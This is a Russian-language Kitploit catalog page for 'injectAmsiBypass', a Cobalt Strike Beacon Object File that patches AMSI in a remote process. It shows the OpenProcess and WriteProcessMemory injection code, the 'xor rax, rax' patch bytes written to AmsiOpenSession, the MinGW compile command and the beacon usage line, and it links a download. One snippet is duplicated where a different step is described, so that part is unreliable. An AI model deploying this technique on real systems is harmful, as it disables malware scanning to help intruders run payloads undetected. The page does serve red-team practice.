Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
injectAmsiBypass — Cobalt Strike BOF - Обход AMSI в удаленном процессе с помощью внедрения кода. | Kitploit
Инструменты/GitHubGitHub/boku7/injectamsibypass
Фреймворки для эксплойтовТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubboku7/injectamsibypass

injectAmsiBypass

Cobalt Strike BOF - Обход AMSI в удаленном процессе с помощью внедрения кода.

Репозиторий
380693 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Cobalt Strike BOF - Инжектирование обхода AMSI

Файл объекта Beacon (BOF) для Cobalt Strike, который обходит AMSI в удалённом процессе с инъекцией кода.

Запуск inject-amsiBypass BOF из CobaltStrike

Что это делает?

1. Используем переданный аргумент PID для получения дескриптора удалённого процесса
root@kitploit:~
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
2. Загружаем AMSI.DLL в память beacon'а и получаем адрес AMSI.AmsiOpenSession
root@kitploit:~
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
  • И beacon, и целевой процесс будут иметь одинаковый адрес для символа.
  • Если AMSI.DLL не существует в удалённом процессе, выполнение этого может привести к сбою целевого процесса.
3. Записываем обход AMSI в память удалённого процесса
root@kitploit:~
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);

Метод = AMSI.AmsiOpenSession

  • Использует технику обхода AMSI, преподаваемую в курсе Offensive Security PEN-300/OSEP (Evasion Techniques and Breaching Defenses).
    • https://www.offensive-security.com/pen300-osep/

Скриншоты демонстрации концепции

До - Powershell.exe AMSI.AmsiOpenSession

После - Powershell.exe AMSI.AmsiOpenSession

Компиляция с x64 MinGW:

root@kitploit:~
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o

Запуск из консоли Cobalt Strike Beacon

root@kitploit:~
beacon> inject-amsiBypass <PID>
  • Убедитесь, что скрипт inject-amsiBypass.cna загружен в Script Manager Cobalt Strike.

Список задач

  • Проверить, существует ли AMSI.DLL в удалённом процессе перед инъекцией
  • Добавить другие обходы AMSI для инъекции
  • Поддержка x86

Благодарности / Ссылки

Raphael Mudge - Beacon Object Files - Luser Demo
  • https://www.youtube.com/watch?v=gfYswA_Ronw
Cobalt Strike - Beacon Object Files
  • https://www.cobaltstrike.com/help-beacon-object-files
Ссылки на код BOF
ajpc500/BOFs
  • https://github.com/ajpc500/BOFs/
trustedsec/CS-Situational-Awareness-BOF
  • https://github.com/trustedsec/CS-Situational-Awareness-BOF
Курс Sektor7 Malware Dev Essentials
  • https://institute.sektor7.net/red-team-operator-malware-development-essentials
Offensive Security OSEP
  • https://www.offensive-security.com/pen300-osep/
Скачать инструмент